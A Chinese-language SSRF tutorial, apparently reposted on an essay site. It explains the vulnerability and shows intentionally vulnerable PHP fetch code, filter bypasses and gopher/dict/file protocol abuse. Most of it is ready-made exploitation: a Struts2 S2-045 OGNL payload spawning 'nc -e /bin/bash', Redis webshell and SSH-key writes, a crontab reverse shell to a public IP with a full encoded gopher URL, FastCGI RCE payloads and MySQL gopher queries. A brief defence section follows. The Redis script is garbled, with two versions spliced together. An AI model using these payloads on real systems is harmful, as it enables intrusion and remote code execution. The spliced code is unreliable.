900字范文,内容丰富有趣,生活中的好帮手!
900字范文 > SSRF漏洞详解

SSRF漏洞详解

时间:2021-09-27 13:11:10

相关推荐

SSRF漏洞详解

一、SSRF概述

SSRF全称为Server-side Request Fogery,中文含义为服务器端请求伪造,漏洞产生的原因是服务端提供了能够从其他服务器应用获取数据的功能,比如从指定的URL地址获取网页内容,加载指定地址的图片、数据、下载等等。

一般情况下,我们服务端请求的目标都是与该请求服务器处于同一内网的资源服务,但是如果没有对这个请求的目标地址、文件等做充足的过滤和限制,攻击者可通过篡改这个请求的目标地址来进行伪造请求,所以这个漏洞名字也叫作“服务器请求伪造”。

利用SSRF能实现以下效果:

1、可以对服务器所在的内网、本地进行端口扫描,获取一些服务的banner信息

2、攻击运行在内网或本地的应用程序(比如溢出)

3、对内网web应用进行指纹识别,通过访问应用存在的默认文件实现;

4、攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2漏洞利用等)

5、利用file协议读取本地文件

6、利用Redis未授权访问,HTTP CRLF注入达到getshell

7、DOS攻击(请求大文件,始终保持连接keep alive always)等等

二、漏洞出现点

1、通过url地址分享网页内容功能处

2、转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

3、在线翻译

4、图片加载与下载(一般通过url地址加载或下载图片处)

5、图片、文章收藏功能

6、未公开的api实现以及其他调用url的功能

7、云服务器商(它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试)

8、有远程图片加载的地方(编辑器之类的远程图片加载处)

9、网站采集、网页抓取的地方(一些网站会针对你输入的url进行一些信息采集工作)

10、头像处(某易就喜欢远程加载头像,例如:/image?url=/1.jpg)

11、邮件系统(比如接收邮件服务器地址)

12、编码处理, 属性信息处理,文件处理(比如ffpmg,ImageMagick,docx,pdf,xml处理器等)

13、从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

14、从URL关键字中寻找

share wap url link src source target u 3g display sourceURl imageURL domain

三、SSRF漏洞利用

1、产生SSRF漏洞的代码

ssrf攻击可能存在任何语言编写的应用,接下来我们将展示php中可能存在SSRF漏洞的函数。

file_get_content() 、fsockopen() 、curl_exec()

1.1、file_get_contents

下面的代码使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户。

<?phpif (isset($_POST['url'])) {$content = file_get_contents($_POST['url']);$filename ='./images/'.rand().';img1.jpg';file_put_contents($filename, $content); echo $_POST['url'];$img = "<img src=\"".$filename."\"/>";} echo $img; ?>

1.2、fsockopen()

使用fsockopen函数实现获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。

<?phpfunction GetFile($host,$port,$link){$fp = fsockopen($host, intval($port),$errno, $errstr, 30); if (!$fp){echo "$errstr (error number $errno) \n"; } else {$out = "GET $link HTTP/1.1\r\n";$out .= "Host: $host\r\n" $out .= "Connection: Close\r\n\r\n";$out .= "\r\n"; fwrite($fp, $out);$contents='';while (!feof($fp)){$contents.= fgets($fp, 1024);}fclose($fp);return $contents;}} ?>

1.3、curl_exec()

使用curl发送请求获取数据。

<?phpif (isset($_POST['url'])) {$link = $_POST['url'];$curlobj = curl_init();curl_setopt($curlobj, CURLOPT_POST, 0);curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, TRUE); TRUE 将curl_exec()获取的信息以字符串返回,而不是直接输出。 $result=curl_exec($curlobj);curl_close($curlobj);$filename = './curled/'.rand().'.txt';file_put_contents($filename, $result);echo $result; } ?>

2、绕过方法

url解析规则

IP地址进制转换

302跳转

DNS重绑定

2.1、@符

对于一个 url 的访问实际上是以 @符后为准的,比如说 @10.10.10.10,则实际上访问的是 10.10.10.10 这个地址

2.2、302跳转

网址后加 xip.io

其原理是例如 10.10.10.10.xip.io 会被解析成 10.10.10.10

2.3、数字IP Bypass

IP进制转换/Enclosed Alphanumerics/特殊地址

进制转换

ip 转换为八进制十进制十六进制这种,同样也可以正常访问

Enclosed Alphanumerics

由英文字母数字组成的Unicode字符集,位于圆圈,括号或其他未封闭的封闭空间内,或以句号结尾。如下

ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> ①②⑦.⓿.⓿.① >>> 127.0.0.1

特殊地址:

http://0/ # 0.0.0.0可以直接访问到本地http://127。0。0。1 # 绕过后端正则规则http://localhost/

2.4、短网址绕过

2.5、添加端口号

http://127.0.0.1:8080

2.6、协议限制绕过

当url协议限定只为http(s)时,可以利用follow redirect 特性

构造302跳转服务,

结合dict:// file:// gopher://

2.7、DNS重绑定

对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉

但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS 重绑定攻击。我们利用DNS Rebinding技术,在第一次校验IP的时候返回一个合法的IP,在真实发起请求的时候,返回我们真正想要访问的内网IP即可

要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL(TTL表示DNS记录在DNS服务器上缓存时间)时间为0,这是为了防止有DNS服务器对第一次的解析结果进行缓存

完整的DNS重绑定攻击流程为:

1、服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP2、对于获得的IP进行判断,发现为指定范围IP,则通过验证3、接下来服务器端对URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址4、由于已经绕过验证,所以服务器端返回访问内网资源的内容

3、SSRF 漏洞的验证

ssrf漏洞可分为有回显型和无回显型,有回显型ssrf可以直接通过页面加载出目标资产,可先尝试加载 页面确认有ssrf,如果成功的话,可进一步将百度换成内网IP,通过fuzz扫描内网资产。

无回显型ssrf的检测需要先配合dnslog平台,测试dnslog平台能否获取到服务器的访问记录,如果没有对应记录,也可能是服务器不出网造成的,利用时可以通过请求响应时间判断内网资产是否存在,然后再利用内网资产漏洞(比如redis以及常见可RCE的web框架)证明漏洞的有效性。

3.1、基本判断(排除法)

/***/service?image=/img/bd_logo1.png

排除法一:

我们先验证,请求是否是服务器端发出的,可以右键图片,使用新窗口打开图片,如果浏览器上地址栏是/img/bd_logo1.png,说明不存在SSRF漏洞。

排除法二:

你可以使用burpsuite等抓包工具来判断是否不是SSRF,首先SSRF是由服务端发起的请求,因此在加载图片的时候,是由服务端发起的,所以在我们本地浏览器的请求中就不应该存在图片的请求,在此例子中,如果刷新当前页面,有如下请求,则可判断不是SSRF。(前提设置burpsuite截断图片的请求,默认是放行的)

3.2、实例验证

经过简单的排除验证之后,我们就要验证看看此URL是否可以来请求对应的内网地址。在此例子中,首先我们要获取内网存在HTTP服务且存在favicon.ico文件的地址,才能验证是否是SSRF漏洞。

找存在HTTP服务的内网地址:

一、从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址

二、通过二级域名暴力猜解工具模糊猜测内网地址

example:ping 可以推测10.215.x.x 此段就有很大的可能: http://10.215.x.x/favicon.ico 存在。

4、SSRF利用

4.1、内网资源访问

url?url=http://内网的资源url

伪协议

file:///dict://sftp://ldap://tftp://gopher://

file://

这种URL Schema可以尝试从文件系统中获取文件:

/ssrf.php?url=file:///etc/passwd/ssrf.php?url=file:///C:/Windows/win.ini

如果该服务器阻止对外部站点发送HTTP请求,或启用了白名单防护机制,只需使用如下所示的URL Schema就可以绕过这些限制:

dict://

这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表:

/ssrf.php?dict://:1337/ :$ nc -lvp 1337Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 31126)CLIENT libcurl 7.40.0

sftp://

在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。

/ssrf.php?url=sftp://:1337/ :$ nc -lvp 1337Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2

ldap://或ldaps:// 或ldapi://

LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。

/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

tftp://

TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。

/ssrf.php?url=tftp://:1337/TESTUDPPACKET :# nc -lvup 1337Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3

gopher://

gopher协议:互联网上使用的分布型的文件搜集获取网络协议,是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

Gopher是Internet上一个信息查找系统,它将Internet上的文件组织成某种索引,方便用户从Internet的处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具。使用tcp 70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;gopher协议支持发出GET、POST请求。

gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议

使用方法:gopher://ip:port/_payload(需要%0d%0A回车换行) 默认端口是70

GET请求

在windows端开启一个nc监听:

nc -lp 8989

在kali用gopher协议向windows发送一个get请求:

curl gopher://192.168.1.120:8989/suibianxie

windows端立即收到响应,不过第一个字符被吃掉了。

在gopher协议中发送HTTP的数据,需要以下三步:

1、构造HTTP数据包

2、URL编码、替换回车换行为%0d%0a

3、发送gopher协议

在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码。

如果多个参数,参数之间的&也需要进行URL编码

构造GET型的HTTP包,如下:

GET /ssrf/test/get.php?name=Qianxun HTTP/1.1Host: 192.168.1.120

URL编码后为:

curl gopher://192.168.1.120:80/_GET%20/ssrf/test/get.php%3fname=Qianxun%20HTTP/

在转换为URL编码时候有这么几个坑

1、问号(?)需要转码为URL编码,也就是%3f

2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a

3、在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

POST请求

发送POST请求前,先看下POST数据包的格式

:在使用 Gopher协议发送 POST请求包时,HostContent-TypeContent-Length请求头是必不可少的,但在 GET请求中可以没有。

POST /ssrf/test/post.php HTTP/1.1host:192.168.1.120Content-Type:application/x-www-form-urlencodedContent-Length:12name=Qianxun

将上面的POST数据包进行URL编码并改为gopher协议

curl gopher://192.168.1.120:80/_POST%20/ssrf/test/post.php%20HTTP/1.1%0d%0AHost:192.168.1.120%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=Qianxun%0d%0A

要注意gopher的url后面的占位字符。

在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码。

如果多个参数,参数之间的&也需要进行URL编码

如何使用gopher协议反弹shell?

今天我们用到的漏洞是Struts2-045漏洞,相信很多大佬不陌生,以下为S2-045漏洞反弹shell的利用代码,我们在本地机器上执行:nc -lp 6666

GET /S2-045/ HTTP/1.1Host: 192.168.0.119Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nc -e /bin/bash 192.168.0.119 6666').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@mons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

在SSRF中如何使用gopher协议反弹shell?

前提条件:PhP版本必须大于等于5.3PHP.ini文件中开启了extension=php_curl.dll

需要利用具体漏洞。。。。。。。

4.2、利用SSRF进行端口扫描

提交对应参数url包括IP地址:端口 测试端口状态。

url?url=http://127.0.0.1:3306

大多数社交网站都提供了通过用户指定的url上传图片的功能。如果用户输入的url是无效的。大部分的web应用都会返回错误信息。攻击者可以输入一些不常见的但是有效的URI,然后根据服务器的返回信息来判断端口是否开放。大部分应用并不会去判断端口,只要是有效的URL,就发出了请求。而大部分的TCP服务,在建立socket连接的时候就会发送banner信息,banner信息是ascii编码的,能够作为原始的html数据展示。当然,服务端在处理返回信息的时候一般不会直接展示,但是不同的错误码,返回信息的长度以及返回时间都可以作为依据来判断远程服务器的端口状态。

4.3、攻击应用程序

内网的安全通常都很薄弱,溢出,弱口令等一般都是存在的。通过ssrf攻击,可以实现对内网的访问,从而可以攻击内网或者本地机器,获得shell等。

4.3.1、FastCGI

参考:/thread-58455-1-1.html

​ /weixin_39664643/article/details/114977217

维基百科的解释:快速通用网关接口FastCommonGatewayInterface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使[服务器可以同时处理更多的网页请求。

CGI:是 Web Server 与 Web Application 之间数据交换的一种协议FastCGI:同 CGI,是一种通信协议,对比 CGI 提升了5倍以上性能PHP-CGI:是 PHP(Web Application)对 Web Server 提供的 CGI 协议的接口程序PHP-FPM:是 PHP(Web Application)对 Web Server 提供的 FastCGI 协议的接口程序,额外还提供了相对智能的任务管理功能

FastCGI协议

HTTP协议是浏览器和服务器中间件进行数据交换的协议,类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端(如PHP-FPM)进行数据交换的协议

Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端(PHP-FPM),语言后端(PHP-FPM)解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件

record的头固定8个字节,body是由头中的contentLength指定typedef struct {/* Header */unsigned char version; // 版本unsigned char type; // 本次record的类型unsigned char requestIdB1; // 本次record对应的请求idunsigned char requestIdB0;unsigned char contentLengthB1; // body体的大小unsigned char contentLengthB0;unsigned char paddingLength; // 额外块大小unsigned char reserved; /* Body */unsigned char contentData[contentLength];unsigned char paddingData[paddingLength];} FCGI_Record;

语言端(PHP-FPM)解析了FastCGI头以后,拿到contentLength,然后再在TCP流里读取大小等于contentLength的数据,这就是body体

Body后面还有一段额外的数据(Padding),其长度由头中的paddingLength指定,起保留作用不需要该Padding的时候,将其长度设置为0即可

可见,一个FastCGI record结构最大支持的body大小是2^16,也就是65536字节

其中,header中的type代表本次record的类型

服务器中间件和后端语言(PHP-FPM)通信,第一个数据包就是type为1的record,后续互相交流,发送type为4、5、6、7的record,结束时发送type为2、3的record

用户访问http://127.0.0.1/index.php?a=1&b=2,如果web目录是/var/www/html,那么服务器中间件(Nginx)会将这个请求变成如下key-value对:

{'GATEWAY_INTERFACE': 'FastCGI/1.0','REQUEST_METHOD': 'GET','SCRIPT_FILENAME': '/var/www/html/index.php','SCRIPT_NAME': '/index.php','QUERY_STRING': '?a=1&b=2','REQUEST_URI': '/index.php?a=1&b=2','DOCUMENT_ROOT': '/var/www/html','SERVER_SOFTWARE': 'php/fcgiclient','REMOTE_ADDR': '127.0.0.1','REMOTE_PORT': '12345','SERVER_ADDR': '127.0.0.1','SERVER_PORT': '80','SERVER_NAME': "localhost",'SERVER_PROTOCOL': 'HTTP/1.1'}

这个数组其实就是PHP中SERVER数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充_SERVER数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充S​ERVER数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充_SERVER数组,也是告诉FPM:“我要执行哪个PHP文件”

当后端语言(PHP-FPM)拿到由Nginx发过来的FastCGI数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php

PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造FastCGI协议,和FPM进行通信

FPM默认配置中增加了security.limit_extensions选项,其限定了只有某些后缀的文件允许被FPM执行,默认是.php

现在,拿到了文件名,我们能控制SCRIPT_FILENAME,却只能执行目标服务器上的文件,并不能执行我们想要执行的任意代码,但我们可以通过构造type值为4的record,也就是设置向PHP-FPM传递的环境变量来达到任意代码执行的目的

PHP.INI中有两个有趣的配置项,auto_prepend_file和auto_append_file

auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件

若我们设置auto_prepend_file为php://input(allow_url_include=on),那么就等于在执行任何PHP文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在FastCGI协议 Body中,它们就能被执行了

最终,我们设置向PHP-FPM传递的环境变量:

{'GATEWAY_INTERFACE': 'FastCGI/1.0','REQUEST_METHOD': 'GET','SCRIPT_FILENAME': '/var/www/html/index.php','SCRIPT_NAME': '/index.php','QUERY_STRING': '?a=1&b=2','REQUEST_URI': '/index.php?a=1&b=2','DOCUMENT_ROOT': '/var/www/html','SERVER_SOFTWARE': 'php/fcgiclient','REMOTE_ADDR': '127.0.0.1','REMOTE_PORT': '12345','SERVER_ADDR': '127.0.0.1','SERVER_PORT': '80','SERVER_NAME': "localhost",'SERVER_PROTOCOL': 'HTTP/1.1''PHP_VALUE': 'auto_prepend_file = php://input','PHP_ADMIN_VALUE': 'allow_url_include = On'}

最后两行设置auto_prepend_file = php://inputallow_url_include = On,然后将我们需要执行的代码放在Body中,即可执行任意代码

方法一:

使用fcgi_expnc

# 监听9000端口nc -lvvp 9000 > exp.txt来接收payload另外开启一个终端使用下面的命令发送payload./fcgi_exp system 127.0.0.1 1234 /var/www/html/index.php "id"exp.txt文件里的内容有部分是不可见字符,这里需要url编码一下,这里写一个Python脚本对文件中的内容进行编码

# -*- coding: UTF-8 -*-from urllib.parse import quote, unquote, urlencodefile = open('fcg_exp.txt','r')payload = file.read()print("gopher://127.0.0.1:9000/_"+quote(payload).replace("%0A","%0D").replace("%2F","/"))

方法二:

Gopherus攻击

gopher工具生成payload

这个工具相比上一个更加方便一下,该工具能生成Gopher有效负载,用来利用ssrf获得RCE,下面利用这个工具来执行命令

python gopherus.py --exploit fastcgi/var/www/html/index.php #这里输入的是一个已知存在的php文件whoami

4.3.2、Redis

参考:/LUOBIKUN/article/details/109190546

当存在SSRF漏洞且内网中Redis服务可以未授权访问时,利用Redis 任意文件写入成为十分常见的利用方式,一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议可以攻击内网中的 Redis。

Redis服务器与客户端通过RESP(REdis Serialization Protocol)协议通信

RESP协议是在Redis 1.2中引入的,但它成为了与Redis 2.0中的Redis服务器通信的标准方式

RESP实际上是一个支持以下数据类型的序列化协议:

简单字符串错误整数批量字符串数组

RESP在Redis中用作请求 - 响应协议的方式如下:

客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器服务器根据命令实现回复一种RESP类型

在RESP中,某些数据的类型取决于第一个字节:

对于客户端请求Simple Strings,回复的第一个字节是+对于客户端请求error,回复的第一个字节是-对于客户端请求Integer,回复的第一个字节是:对于客户端请求Bulk Strings,回复的第一个字节是$对于客户端请求array,回复的第一个字节是*

此外,RESP能够使用稍后指定的Bulk Strings或Array的特殊变体来表示Null值。

在RESP中,协议的不同部分始终以"\r\n"(CRLF)结束。

当访问http://10.1.8.159/ssrf.php?url=127.0.0.1时,可以发现,url未对内部地址做过滤,存在SSRF漏洞探测redis默认端口6379:http://10.1.8.159/ssrf.php?url=dict://127.0.0.1:6379/info

redis客户端中执行如下命令

192.168.163.128:6379> set name testOK192.168.163.128:6379> get name"test"192.168.163.128:6379>

抓到的数据包如下

hex转储看一下

正如我们前面所说的,客户端向将命令作为Bulk Strings的RESP数组发送到Redis服务器,然后服务器根据命令实现回复给客户端一种RESP类型。

我们就拿上面的数据包分析,首先是*3,代表数组的长度为3(可以简单理解为用空格为分隔符将命令分割为[“set”,“name”,“test”]);$4代表字符串的长度,0d0a\r\n表示结束符;+OK表示服务端执行成功后返回的字符串

利用

redis常见的SSRF攻击方式大概有这几种:

绝对路径写webshell写ssh公钥反弹shell

写webshell

构造redis命令

flushallset 1 '<?php eval($_GET["cmd"]);?>'config set dir /var/www/htmlconfig set dbfilename shell.phpsave

写了一个简单的脚本,转化为redis RESP协议的格式

import urllibprotocol="gopher://"ip="192.168.163.128"port="6379"shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"filename="shell.php"path="/var/www/html"passwd=""cmd=["flushall","set 1 {}".format(shell.replace(" ","${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"]if passwd:cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for x in redis_arr:cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")cmd+=CRLFimport urllibfrom urllib import parseprotocol = "gopher://"ip = "127.0.0.1"port = "6379"shell = "\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"filename = "shell.php"path = "/var/www/html"passwd = ""cmd = ["flushall","set 1 {}".format(shell.replace(" ", "${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"]if passwd:cmd.insert(0, "AUTH {}".format(passwd))payload_prefix = protocol + ip + ":" + port + "/_"CRLF = "\r\n"def redis_format(arr):redis_arr = arr.split(" ")cmd_ = ""cmd_ += "*" + str(len(redis_arr))for x_ in redis_arr:cmd_ += CRLF + "$" + str(len((x_.replace("${IFS}", " ")))) + CRLF + x_.replace("${IFS}", " ")cmd_ += CRLFreturn cmd_if __name__ == "__main__":payload = ""for x in cmd:payload += parse.quote(redis_format(x)) # url编码payload = payload_prefix + parse.quote(payload) # 再次url编码print(payload)return cmdif __name__=="__main__":for x in cmd:payload += urllib.quote(redis_format(x))print payload

写ssh公钥

如果.ssh目录存在,则直接写入~/.ssh/authorized_keys

如果不存在,则可以利用crontab创建该目录

首先在靶机中创建ssh公钥存放目录(一般是/root/.ssh)

mkdir /root/.ssh

靶机中开启redis服务

redis-server /etc/redis.conf

在攻击机中生成ssh公钥和私钥,密码设置为空:

ssh-keygen -t rsa

进入.ssh目录,然后将生成的公钥写入 ceshi.txt 文件

cd /root/.ssh(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") >ceshi.txt

然后在.ssh目录,可以看到ceshi.txt中已经保存了公钥:

flushallset 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali'config set dir /root/.ssh/config set dbfilename authorized_keyssave

利用contrab计划任务反弹shell

然后在攻击机上使用ssh免密登录靶机:

ssh -i id_rsa root@10.1.8.159

反弹shell

set xxx "\n\n* * * * * bash -i>& /dev/tcp/104.168.147.13/6666 0>&1\n\n"config set dir /var/spool/cronconfig set dbfilename rootsave

该命令实现了:创建一个/var/spool/cron目录下的root用户的定时任务,每一分钟执行一次反弹shell的命令。

分别进行二次URL编码,期间替换%0a为%0d%0a,并按照之前的方式构造得到:

http://10.1.8.159/ssrf.php?url=gopher%3a%2f%2f127.0.0.1%3a6379%2f_%25%37%33%25%36%35%25%37%34%25%32%30%25%37%38%25%37%38%25%37%38%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%39%25%33%65%25%32%36%25%32%30%25%32%66%25%36%34%25%36%35%25%37%36%25%32%66%25%37%34%25%36%33%25%37%30%25%32%66%25%33%31%25%33%30%25%33%34%25%32%65%25%33%31%25%33%36%25%33%38%25%32%65%25%33%31%25%33%34%25%33%37%25%32%65%25%33%31%25%33%33%25%32%66%25%33%36%25%33%36%25%33%36%25%33%36%25%32%30%25%33%30%25%33%65%25%32%36%25%33%31%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%33%25%37%30%25%36%66%25%36%66%25%36%63%25%32%66%25%36%33%25%37%32%25%36%66%25%36%65%25%30%64%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%64%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35

直接访问,成功获得反弹shell:

nc -lvp 6666

4.3.3、Mysql

MySQL数据库用户认证采用的是挑战/应答的方式,服务器生成该挑战数(scramble)并发送给客户端,客户端用挑战数加密密码后返回相应结果,然后服务器检查是否与预期的结果相同,从而完成用户认证的过程。

登录时需要用服务器发来的scramble加密密码,但是当数据库用户密码为空时,加密后的密文也为空。client给server发的认证包就是相对固定的了。这样就无需交互,可以通过gopher协议来发送。

mysql数据包前需要加一个四字节的包头。前三个字节代表包的长度,第四个字节代表包序,在一次完整的请求/响应交互过程中,用于保证消息顺序的正确,每次客户端发起请求时,序号值都会从0开始计算。

这里是构造了gopher来攻击mysql:

/FoolMitAh/mysql_gopher_attack

github上有一个gopher攻击mysql的python脚本,既然我们知道了curl用户,那么:

python exploit.py -u curl -d information_schema -p "" -P "select * from flag" -v -c

参数说明:

-u 指定用户-d 指定数据库,这里我们可以通过information_schema来获取所有的数据库-P 指定sql语句

抓取的mysql通信数据包:

其实也就得到了数据库:infoemtion_schema、challenges、dwva、test等等。

4.4、内网web应用指纹识别

识别内网应用使用的框架,平台,模块以及cms可以为后续的攻击提供很多帮助。大多数web应用框架都有一些独特的文件和目录。通过这些文件可以识别出应用的类型,甚至详细的版本。根据这些信息就可以针对性的搜集漏洞进行攻击。

4.5、 攻击内网web应用

仅仅通过get方法可以攻击的web有很多,比如struts2命令执行等。

四、防御方法

1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

2, 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。

4,白名单内网ip。避免应用被用来获取获取内网数据,攻击内网。

5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

五、PHP CURL 函数

参考:/manual/zh/ref.curl.php

1、curl_close

关闭 cURL 会话

curl_close(resource $ch): void关闭 cURL 会话并且释放所有资源。cURL 句柄 `ch` 也会被删除。

2、curl_copy_handle

复制一个cURL句柄和它的所有选项

curl_copy_handle(resource $ch): resource复制一个cURL句柄并保持相同的选项。

3、curl_errno

返回最后一次的错误代码

curl_errno(resource $ch): int返回最后一次 cURL 操作的错误代码。

4、curl_error

返回当前会话最后一次错误的字符串

curl_error(resource $ch): string返回最近一次 cURL 操作的文本错误详情。 返回错误信息,或者如果没有任何错误发生就返回 '' (空字符串)。

5、curl_escape

使用 URL 编码给定的字符串

curl_escape(resource $ch, string $str): string该函数使用 URL 根据» RFC 3986编码给定的字符串。 $str 需要编码的字符串

6、curl_exec

执行 cURL 会话

curl_exec(resource $ch): mixed执行给定的 cURL 会话。这个函数应该在初始化一个 cURL 会话并且全部的选项都被设置后被调用。

成功时返回 true, 或者在失败时返回 false。 然而,如果 设置了 CURLOPT_RETURNTRANSFER 选项,函数执行成功时会返回执行的结果,失败时返回 false 。

7、curl_file_create

创建一个 CURLFile 对象

此函数是该函数的别名: CURLFile::__construct()

8、curl_getinfo

获取一个cURL连接资源句柄的信息

curl_getinfo(resource $ch, int $opt = 0): mixed获取最后一次传输的相关信息。

